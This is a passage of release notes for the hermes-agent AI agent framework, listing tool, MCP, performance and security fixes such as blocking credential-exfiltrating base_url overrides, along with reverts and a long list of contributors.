<li>Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (<a href="https://github.com/NousResearch/hermes-agent/pull/49408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49408/hovercard">#49408</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>Blank Slate setup mode — minimal agent, opt in to everything (<a href="https://github.com/NousResearch/hermes-agent/pull/36733" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36733/hovercard">#36733</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog &amp; UX carried from v0.17.0</li>
<li>Skills: <code>/learn</code> distillation (see Self-Improvement); <code>cloudflare-temporary-deploy</code> optional skill; creative-ideation v2.1.0 method library (<a href="https://github.com/NousResearch/hermes-agent/pull/50849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50849/hovercard">#50849</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42402/hovercard">#42402</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>)</li>
<li>Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (<a href="https://github.com/NousResearch/hermes-agent/pull/50349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50349/hovercard">#50349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52848" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52848/hovercard">#52848</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53973" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53973/hovercard">#53973</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: <code>ctx.profile_name</code> for session-agnostic profile access (<a href="https://github.com/NousResearch/hermes-agent/pull/50346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50346/hovercard">#50346</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (<a href="https://github.com/NousResearch/hermes-agent/pull/55930" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55930/hovercard">#55930</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15624/hovercard">#15624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kartik-mem0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kartik-mem0">@kartik-mem0</a>)</li>
</ul>
<h2>⚡ Performance</h2>
<ul>
<li>Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml <code>CSafeLoader</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/54448" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54448/hovercard">#54448</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54486/hovercard">#54486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>State: merge FTS5 segments + <code>handoff_state</code> index to curb write-lock contention; single-pass <code>list_profiles</code> alias map + skill-count cache + event-loop offload (<a href="https://github.com/NousResearch/hermes-agent/pull/54752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54752/hovercard">#54752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54770" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54770/hovercard">#54770</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Harden MCP-config persistence attack surface; block cron <code>base_url</code> overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Redact Slack App-Level (<code>xapp-</code>) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after <code>browser_back</code> navigation; scope <code>/resume</code> and <code>/sessions</code> to caller origin (IDOR); <code>aiohttp</code> 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (<a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56526" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56526/hovercard">#56526</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56378/hovercard">#56378</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on <code>BaseException</code> + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/51051" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51051/hovercard">#51051</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50062/hovercard">#50062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50016/hovercard">#50016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50117/hovercard">#50117</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56240/hovercard">#56240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (<a href="https://github.com/NousResearch/hermes-agent/pull/52340" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52340/hovercard">#52340</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50398/hovercard">#50398</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52239/hovercard">#52239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔁 Reverts (in-window, for the record)</h2>
<ul>
<li>cron job storage returned to per-profile (reverts <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517607524" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/32117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32117/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/32117">#32117</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719892950" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/50993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50993/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/50993">#50993</a>); don't clone <code>auth.json</code> (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; <code>prompt_caching.enabled</code> toggle backed out for re-evaluation (<a href="https://github.com/NousResearch/hermes-agent/pull/51116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51116/hovercard">#51116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51732" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51732/hovercard">#51732</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53853" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53853/hovercard">#53853</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56126/hovercard">#56126</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>381 people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.</p>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; MoA first-class, verification/goals, <code>/learn</code>, background review, security round, providers, the P0/P1 clean-sweep</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (projects, memory graph, <code>/journey</code>, multi-terminal, composer refactor wave, pets, verification UX)</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI/docker (unified jobs, faster builds, timings report)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — Windows hardening (console flashes, npm shim, gateway restarts)</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsir0000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsir0000">@0xsir0000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1RB/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1RB">@1RB</a>, @595650661, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abchiaravalle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abchiaravalle">@abchiaravalle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adammatski1972/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adammatski1972">@adammatski1972</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/AetherAgents/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AetherAgents">@AetherAgents</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Afnath-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Afnath-max">@Afnath-max</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agt-user/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agt-user">@agt-user</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ahmadashfq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ahmadashfq">@ahmadashfq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aieng-abdullah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aieng-abdullah">@aieng-abdullah</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailang323/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailang323">@ailang323</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailthrim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailthrim">@ailthrim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aj-nt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aj-nt">@aj-nt</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alloevil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alloevil">@alloevil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amathxbt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amathxbt">@amathxbt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ambition0802/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ambition0802">@ambition0802</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anderskev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anderskev">@anderskev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andressommerhoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andressommerhoff">@andressommerhoff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/angelos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/angelos">@angelos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antimatter543/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antimatter543">@Antimatter543</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arthurzhang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arthurzhang">@arthurzhang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baolingao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baolingao">@baolingao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basilalshukaili/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basilalshukaili">@basilalshukaili</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BBCrypto-web/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BBCrypto-web">@BBCrypto-web</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbenlijie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbenlijie">@benbenlijie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bitcryptic-gw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bitcryptic-gw">@bitcryptic-gw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Blaryxoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Blaryxoff">@Blaryxoff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bogerman1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bogerman1">@bogerman1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradhallett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradhallett">@bradhallett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brett539/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brett539">@brett539</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buihongduc132/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buihongduc132">@buihongduc132</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bykim0119/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bykim0119">@bykim0119</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catapreta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catapreta">@catapreta</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chaithanyak42/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chaithanyak42">@chaithanyak42</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/charleneleong-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/charleneleong-ai">@charleneleong-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharlieKerfoot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharlieKerfoot">@CharlieKerfoot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chazmaniandinkle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chazmaniandinkle">@chazmaniandinkle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chrispersico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chrispersico">@chrispersico</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chriswesley4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chriswesley4">@chriswesley4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clovericbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clovericbot">@clovericbot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cmcejas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cmcejas">@cmcejas</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cossackx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cossackx">@Cossackx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/counterposition/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/counterposition">@counterposition</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CRWuTJ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CRWuTJ">@CRWuTJ</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb0rgk1tty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb0rgk1tty">@cyb0rgk1tty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb3rwr3n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb3rwr3n">@cyb3rwr3n</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cypctlinux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cypctlinux">@cypctlinux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cypres0099/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cypres0099">@cypres0099</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dalenguyen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dalenguyen">@dalenguyen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Danamove/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Danamove">@Danamove</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DanAsBjorn/hovercard" data-octo-click="hovercard-link-click" 